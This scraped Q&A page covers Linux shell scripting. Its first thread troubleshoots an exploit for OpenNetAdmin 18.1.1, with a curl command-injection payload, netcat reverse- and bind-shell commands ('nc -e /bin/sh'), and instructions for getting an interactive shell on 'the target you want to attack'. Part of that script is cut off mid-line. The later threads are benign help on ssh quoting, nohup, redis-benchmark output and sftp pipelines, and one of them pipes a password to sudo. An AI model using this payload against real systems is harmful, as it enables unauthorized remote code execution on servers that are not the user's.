Bash Syntax Problems for Exploit - linux

I found an exploit at exploit-db for the OpenNetAdmin 18.1.1
I have to adjust this script so it work for me but I don't get this done.
This is what I have so far:
URL="xxx.xxx.xxx.xxx/ona"
while true;do
echo -n {"nc -e /bin/sh xxx.xxx.xxx.xxx 4444 "}; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
The output is just:
{nc -e /bin/sh xxx.xxx.xxx.xxx 4444 }
I am a bit struggling with the syntax.
What did I do wrong?

This is what you want, if you just need to launch the nc program. The script supposes that the remote machine is a Linux machine, with /bin/bash and nc (netcat) compiled with the -e support
#!/bin/bash
URL="http://.../ona"
cmd="nc -l -p 4444 -e /bin/sh"
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

I found a solution that fits:
#!/bin/bash
URL="http://xxx.xxx.xxx.xxx/ona/"
while true;do
echo -n "{/bin/sh -i}"; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltip>
done
Just replace the xxx.xxx.xxx.xxx with the target you want to attack and save the script as shell.sh
Now run the script with ./shell.sh and you get an interactive shell on the target system.
To verify that you can now type in pwd or id and check if you was successful.

Related

Using ssh inside a script to run another script that itself calls ssh

I'm trying to write a script that builds a list of nodes then ssh into the first node of that list
and runs a checknodes.sh script which it's self is just a for i loop that calls checknode.sh
The first 2 lines seems to work ok, the list builds successfully, but then I get either get just the echo line of checknodes.sh to print out or an error saying cat: gpcnodes.txt: No such file or directory
MYSCRIPT.sh:
#gets the master node for the job
MASTERNODE=`qstat -t -u \* | grep $1 | awk '{print$8}' | cut -d'#' -f 2 | cut -d'.' -f 1 | sed -e 's/$/.com/' | head -n 1`
#builds list of nodes in job
ssh -qt $MASTERNODE "qstat -t -u \* | grep $1 | awk '{print$8}' | cut -d'#' -f 2 | cut -d'.' -f 1 | sed -e 's/$/.com/' > /users/issues/slow_job_starts/gpcnodes.txt"
ssh -qt $MASTERNODE cd /users/issues/slow_job_starts/
ssh -qt $MASTERNODE /users/issues/slow_job_starts/checknodes.sh
checknodes.sh
for i in `cat gpcnodes.txt `
do
echo "### $i ###"
ssh -qt $i /users/issues/slow_job_starts/checknode.sh
done
checknode.sh
str=`hostname`
cd /tmp
time perf record qhost >/dev/null 2>&1 | sed -e 's/^/${str}/'
perf report --pretty=raw | grep % | head -20 | grep -c kernel.kallsyms | sed -e "s/^/`hostname`:/"
When ssh -qt $MASTERNODE cd /users/issues/slow_job_starts/ is finished, the changed directory is lost.
With the backquotes replaced by $(..) (not an error here, but get used to it), the script would be something like
for i in $(cat /users/issues/slow_job_starts/gpcnodes.txt)
do
echo "### $i ###"
ssh -nqt $i /users/issues/slow_job_starts/checknode.sh
done
or better
while read -r i; do
echo "### $i ###"
ssh -nqt $i /users/issues/slow_job_starts/checknode.sh
done < /users/issues/slow_job_starts/gpcnodes.txt
Perhaps you would also like to change your last script (start with cd /users/issues/slow_job_starts)
You will find more problems, like sed -e 's/^/${str}/' (the ${str} inside single quotes won't be replaced by a host), but this should get you started.
EDIT:
I added option -n to the ssh call.
Redirects stdin from /dev/null (actually, prevents reading from stdin).
Without this option only one node is checked.

Multiple ssh in a Single command

I need to pipe multiple ssh commands in order to run commands on a remote machine.
The commands are working fine with a single ssh but not after piping ssh.
E.g
ssh abc#remotemachine1.com "a=hello ; echo \$a"
return hello
but
ssh abc#remotemachine1.com ssh abc#remotemachine2.com"a=hello ; echo \$a"
produces no output.
Similarly:
ssh abc#remotemachine1.com "mountedDir=\$(df \tmp | grep -vi filesystem | rev | cut -d ' ' -f 1); mount | grep -w \$mountedDir"
Is working fine producing the following output :
/dev/sda2 on / type xfs (rw,relatime,attr2,inode64,noquota)
but
ssh abc#remotemachine1.com ssh abc#remotemachine2.com "mountedDir=\$(df \tmp | grep -vi filesystem | rev | cut -d ' ' -f 1); mount | grep -w \$mountedDir"
is throwing the following error:
Usage: grep [OPTION]... PATTERN [FILE]...
Try 'grep --help' for more information.
Note: Passwordless ssh is established from my machine to remotemachine1.com and from remotemachine1.com to remotemachine2.com
If for some reason you do not want to modify your ssh_config file, you need to use ssh -t which will cause a real TTY to be allocated on machine 2, like so:
ssh -t abc#remotemachine1.com ssh abc#remotemachine2.com"a=hello ; echo \$a"
Be wary, as using this method implies that all the SSH login authentication procedures will happen at remotemachine1.com, so if you have security concerns, you are better off with #allo 's answer.
ssh abc#remotemachine1.com ssh abc#remotemachine2.com"a=hello ; echo \$a"
Looks wrong. If you want to jump from remotemachine1 to remotemachine2 have a look at the ProxyJump option in the ssh config. You can give it on the command line using the -o option of the ssh binary.
It finally worked after I added multiple escape characters
ssh abc#remotemachine1.com " ssh abc#remotemachine2.com \" a=hello ;echo \\\$a \" "
And
ssh abc#remotemachine1.com " ssh abc#remotemachine2.com \" mountedDir=\\\$(df /var | grep -vi filesystem | rev | cut -d ' ' -f 1); mount | grep -w \\\$mountedDir | grep -vi 'noexec' \" "

What's wrong about my script with "ssh + nohup"

I want to execute specific script at remote server by ssh in background.
I found some solution about nohup.
But, nohup is not running without "2>&1"
I want to know what's the difference between existing "2>&1" and not.
nohup needs "2>&1" expression?
(Please understand my bad English)
This is my 'iperf_server.sh' script.
iperf -s -p 1 -w 128K
And, It is my host machine command.
$ ssh [id]#[host] "nohup echo [password] | sudo -S [Home_dir]/iperf_server.sh > /dev/null &"
$ ssh [id]#[host] "nohup echo [password] | sudo -S [Home_dir]/iperf_server.sh > /dev/null 2>&1 &"
$ ssh -t [id]#[host] "nohup echo [password] | sudo -S [Home_dir]/iperf_server.sh > /dev/null &"
Connection to iperf-server closed.
$ ssh -t [id]#[host] "nohup echo [password] | sudo -S [Home_DIR]/iperf_server.sh > /dev/null 2>&1 &"
Connection to iperf-server closed.
This is ps command result in iperf server
# ps -eLf | grep iperf | grep -v grep
# ps -eLf | grep iperf | grep -v grep
00:00:00 sudo -S [HOME_DIR]/iperf_server.sh
00:00:00 sh [HOME_DIR]/iperf_server.sh
00:00:00 iperf -s -p 1 -w 128K
00:00:00 iperf -s -p 1 -w 128K
00:00:00 iperf -s -p 1 -w 128K
# killall iperf
# ps -eLf | grep iperf | grep -v grep
# ps -eLf | grep iperf | grep -v grep
Take the & off the end.
This should do it:
ssh -t [id]#[host] "nohup echo [password] | sudo -S [Home_dir]/iperf_server.sh > /dev/null 2>&1"
By the way this is a huge security risk. Don't echo the password on the command line! If you really want to use a password like this at least do something like cat pwd.txt | sudo -S instead.

Bash: store redis-benchmark result to var generate strange string

I try to parse redis-benchmark result in shell script, I write the script but failed to execute.
Environment
$ bash --version
GNU bash, version 4.2.24(1)-release (x86_64-pc-linux-gnu)
$ cat /etc/issue
Ubuntu 12.04 LTS \n \l
$ dpkg -l |grep redis
2:2.8.19-rwky1~precise
$ cat demo.sh
OUTPUT=`redis-benchmark -n 1000 -r 100000 -d 32 -c 30 -t GET -p 6379 -q |grep 'per second'`
R=$(echo "$OUTPUT" | cut -f 1 -d'.')
S=$(echo $R | awk '{print $2}')
echo $S
Shell debug show some confuse information.
$ bash -x demo.sh
++ redis-benchmark -n 1000 -r 100000 -d 32 -c 30 -t GET -p 6379 -q
++ grep 'per second'
GET: 166666.67 requests per second'
GET: 166666.67 requests per second'
++ cut -f 1 -d.
GET: 166666'an
++ echo GET: $'-nan\rGET:' 166666
++ awk '{print $2}'
+ S=$'-nan\rGET:'
+ echo $'-nan\rGET:'
GET:
Do I miss something?
Comments
Looks due to redis-benchmark result is something strange, don't know why
$ redis-benchmark -n 1000 -r 100000 -d 32 -c 30 -t GET -p 6379 -q |grep per > todo
$ vim todo
GET: -nan^MGET: 166666.67 requests per second
If you will not be able to fix the redis-benchmark output, this will parse both the correct and strange formats:
redis-benchmark -n 1000 -r 100000 -d 32 -c 30 -t GET -p 6379 -q | grep 'per second' | sed 's/.*GET: \(.*\) requests .*/\1/'
But you should probably fix the input :D

Executing a string as a command in bash that contains pipes

I'm trying to list some ftp directories. I can't work out how to make bash execute a command that contains pipes correctly.
Here's my script:
#/bin/sh
declare -a dirs=("/dir1" "/dir2") # ... and lots more
for d in "${dirs[#]}"
do
cmd='echo "ls /mydir/'"$d"'/*.tar*" | sftp -b - -i ~/mykey user#example.com 2>&1 | tail -n1'
$cmd
done
This just outputs:
"ls /mydir/dir1/*.tar*" | sftp -b - -i ~/mykey user#example.com 2>&1 | tail -n1
"ls /mydir/dir2/*.tar*" | sftp -b - -i ~/mykey user#example.com 2>&1 | tail -n1
How can I make bash execute the whole string including the echo? I also need to be able to parse the output of the command.
I don't think that you need to be using the -b switch at all. It should be sufficient to specify the commands that you would like to execute as a string:
#/bin/bash
dirs=("/dir1" "/dir2")
for d in "${dirs[#]}"
do
printf -v d_str '%q' "$d"
sftp -i ~/mykey user#example.com "ls /mydir/$d_str/*.tar*" 2>&1 | tail -n1
done
As suggested in the comments (thanks #Charles), I've used printf with the %q format specifier to protect against characters in the directory name that may be interpreted by the shell.
First you need to use /bin/bash as shebang to use BASH arrays.
Then remove echo and use command substitution to capture the output:
#/bin/bash
declare -a dirs=("/dir1" "/dir2") # ... and lots more
for d in "${dirs[#]}"
do
output=$(ls /mydir/"$d"/*.tar* | sftp -b - -i ~/mykey user#example.com 2>&1 | tail -n1)
echo "$output"
done
I will however advise you not use ls's output in sftp command. You can replace that with:
output=$(echo "/mydir/$d/"*.tar* | sftp -b - -i ~/mykey user#example.com 2>&1 | tail -n1)
Don't store the command in a string; just use it directly.
#/bin/bash
declare -a dirs=("/dir1" "/dir2") # ... and lots more
for d in "${dirs[#]}"
do
echo "ls /mydir/$d/*.tar*" | sftp -b - -i ~/mykey user#example.com 2>&1 | tail -n1
done
Usually, people store the command in a string so they can both execute it and log it, as a misguided form of factoring. (I'm of the opinion that it's not worth the trouble required to do correctly.)
Note that sftp reads from standard input by default, so you can just use
echo "ls ..." | sftp -i ~/mykey user#example.com 2>&1 | tail -n1
You can also use a here document instead of a pipeline.
sftp -i ~/mykey user#example.com 2>&1 <<EOF | tail -n1
ls /mydir/$d/*.tar.*
EOF

Resources